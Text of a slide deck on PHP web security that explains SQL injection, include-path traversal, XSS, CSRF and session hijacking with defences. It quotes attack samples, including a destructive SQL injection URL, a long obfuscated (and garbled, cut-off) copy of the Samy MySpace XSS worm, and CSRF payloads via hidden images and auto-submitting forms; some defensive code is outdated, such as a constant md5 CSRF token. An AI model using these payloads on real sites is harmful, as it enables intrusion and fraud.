Sie sind auf Seite 1von 32

Mohammed Irfan

measurement, not a characteristic. A growing problem that requires a continually evolving solution. (An application can be called Secured, if survives even against future attacks.) Security should be in essential part of application design (not an after thought).
A

Lack of security in an application can lead to: Loss of important data, money, time etc. Damages reputation and trust In extreme, Law suits

Input Validation SQL Injection Code Injection XSS (Cross Site Scripting) CSRF (Cross Site Request Forgery) Session Security

Common development trends


Lack of proper input validation y Relying on client side validations only
y

Problems
Code injection y SQL injection y Command injection
y

Solution
y

Always validate inputs using built in PHP functions (is_int(), is_float(), is_bool(), is_finite(), intval(), floatval(), doubleval(), strlen(), strpos(), ctype_alpha(), ctype_alnum() etc.)

One of the most common problems with security SQL queries are injected as input Also similar to input validation Possible problems can be:

Data removal Modification of existing values Unwanted access grant Arbitrary data injection All above combined

http://www.youtube.com/watch?v=h2GEwiA-FEU http://www.youtube.com/watch?v=AFeJ0cfeLpk

/* articles.php */ $id = $_GET['id']; $sql = "select * from articles where id = '$id'"; $result = mysql_query($sql);

Now when we have a call like: http://www.example.com/articles.php?id=1 It is very much valid and we can expect article with id 1 will be fetched from the database.

What if the url is: http://www.example.com/articles.php?id=1; delete from articles; The query becomes
"select * from articles where id = '1'; delete from articles"

(deleting of the entire articles table)

Escaping inputs using addslashes or built in PHP mechanism magic_quotes_gpc. (not recommended) Using dedicated escaping functions provided by the database interface

MySQL
mysql_escape_string() mysql_real_escape_string()

PostgreSQL
pg_escape_string() pg_escape_bytea()

SQLite
sqlite_escape_string()

So our example will look like this now


$id = mysql_real_escape_string($_GET['id']); $sql = "select * from articles where id = '$id'"; $result = mysql_query($sql);

But, sometimes even escaping can fail!!!


$id = "0; delete from articles"; $id = mysql_real_escape_string($id); // 0; delete from articles mysql_query("SELECT * FROM articles WHERE id={$id}"); To solve such problem, use explicit casting $id = (int)$id;

Database specific escaping is not available for all databases (MSSQL, ORACLE etc) Prepared Statements - another approach

Prepared queries are query templates: the structure of the query is pre-defined and fixed with placeholders that stand-in for real data. The placeholders are typically typespecifice.g., int for integer data and text for strings which allows the database to interpret the data strictly We can use PDO (PHP Data Objects) or PHPs mysqli extension for prepared statements

<?php $db = new PDO('mysql:host=localhost;dbname=dbname', 'username', 'password'); $stmt = $db->prepare('select * from articles where id = ?'); try { $stmt->execute(array($_GET['id'])); $stmt->fetchAll(); } catch(PDOException $e) { echo 'Selection failed. Please try again.'; } ?>

Code injection occurs when we use parameters from the web as direct parameter for our code execution. This is especially important for includes

$module = $_REQUEST['module']; include("lib/$module");

This is ok: http://example.com/cms?module=login.php But what if I do this?: http://example.com/cms?module=../passwords.ini

Make sure the value is the one you expected. Else show error message

$requestedModule = $_REQUEST['module']; switch($requestedModule) { case "login": $module = "login"; break; case logout : $module = "logout"; break; default: $module = "error"; }

Cross Site Scripting (XSS) is a situation where by attacker injects JavaScript code, which is then displayed on the page without further validation.

Can lead to embarrassment. Session take-over. Password theft. User tracking by 3rd parties.

Common XSS examples:


User submitted content sites such as blogs, forums, wikis etc User comments on different sites.

http://www.youtube.com/watch?v=ptf9ujBZ8GE

<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);f D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.lengt ('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if (location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+loca {getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}func N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.rep (Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){re ('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','applicat J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.ind +BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,B (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}fun Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject) ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}ret AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0 {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is m var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' (61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();A ='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){i var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['su ['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=g index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend (BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() (xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR (AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends'; fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI {return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.se Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.se DIV>

User (attacker) enters following JavaScript code in a form field :

<script type="text/javascript"> document.location = "http://www.mysite.com/" </script>

As input data is not filtered, when the page loads user will be redirected to mysite.com. (Totally unexpected?)

Prevention of XSS is as simple as filtering input data using one of the following:

htmlspecialchars()
Encodes ', ", <, >, & etc.

htmlentities()
Convert anything that there is HTML entity for.

strip_tags()
Strips anything that resembles HTML tags

Allowing of tags in strip_tags() can be dangerous, as tag attributes are not stripped, e.g.,
<p onclick="document.location='http://welcometo-the-jungle.com'">This is vulnerable!</p>

Much

less widely understood than XSS... ... but almost certainly more common Cross-site request forgery attacks allow attackers to force your users to take actions on your site that they didnt mean to take
<img src="http://example.com/admin/delete.php?id=5">

Not just GET; hidden forms allow POST as well http://www.youtube.com/watch?v=uycmHQM_h64


UserA is a member of bank.com. He sends money to UserB and found that the following URL used http://bank.com/transfer.do?acct=UserB&amount=100 Now UserA constructs a URL like above to victimize UserC (who is also a user of bank.com) http://bank.com/transfer.do?acct=UserA&amount=100000 Now UserA sends an email to UserC with a forged request. <a href="http://bank.com/transfer.do?acct=UserA&amount=100 000">View my Pictures!</a>

Now if userC clicks the link, he is actually initiating the request as he is already authenticated in the system. But wait, when userC clicks the link, he will definitely notice that a payment has been done. So in order to trick userC without any notice. UserA does this (zero byte image). <img src="http://bank.com/transfer.do?acct=UserA& amount=100000" width="1" height="1" border="0"> So without any problem, userA has got fund from userC.

<iframe style="width: 0px; height: 0px; visibility: hidden" name="hidden"></iframe> <form name="csrf" action="http://amazon.com/gp/ product/handle-buy-box" method="post" target="hidden"> <input type="hidden" name="ASIN" value="059600656X" /> <input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE%2Fy0hKK%2BNt%2FB7% 2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE% 2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" /> </form> <script>document.forms.csrf.submit();</script>

Distinguish each and every request generated from your server. Distinguish request generated from your site and also from some other sites. Do not rely on HTTP Referrer checking as it is not fully reliable. Include a form token on every forms that you display. The form token must be unique and ensure that the request came from your site. Yahoo! Uses similar approach and calls it Crumb

<?php $_SESSION['formKey'] = md5("unique_id"); ?> <form action="http://app.example.com/delete.php" method="POST"> <input type="hidden" name="id" value="37"> <input type="hidden" name="formKey" value="<?php echo $_SESSION['formKey']?>"> <input type="submit" value="Delete this item"> </form> /* server site code */ if($_POST['formKey'] !== $_SESSION['formKey']) { echo 'not a valid request'; exit; } else { // do something unset($_SESSION['formKey']); // unset the formKey so it is not used anymore }

Should be unique per user (or one user can use their crumb to attack another)

Hence should be tied to the users session or login cookie

Should be changed over time (even for same form request multiple time) Ajax requests must be from the same domain Limiting the lifetime of authentication cookies

Sessions are a common tool for user tracking across an application For the duration of a visit, the session is effectively the users identity If an active session can be obtained by 3rd party, it can assume the identify of the user whos session was compromised During standard HTTP transactions, all request and response information is transmitted as plain-text. Anyone capable of intercepting these messages can steal the users session.

To

prevent session id theft, the id should be altered on every request, invalidating old values.

<?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?>
Because

the session changes on every request, the back button in a browser will no longer work, as it will make a request with the old session id

Use HTTPS Pass secure information Stop session ID being passed via URL Set session.use_only_cookies so that it is hard to generate session fixation. Another session security technique is to compare the browser signature headers

There are more security issues out there. Always try to be proactive on security measure rather than being reactive. Keep updated with latest security flaws and fixes Always try to avoid common pitfalls.

http://www.modsecurity.org/ (mod_security Apache module) http://www.hardened-php.net/ (PHP Security Patches) http://www.xssoops.com/ (Security Scanner) http://www.cgisecurity.com/ http://www.owasp.org/ http://phpsec.org/

Q & A?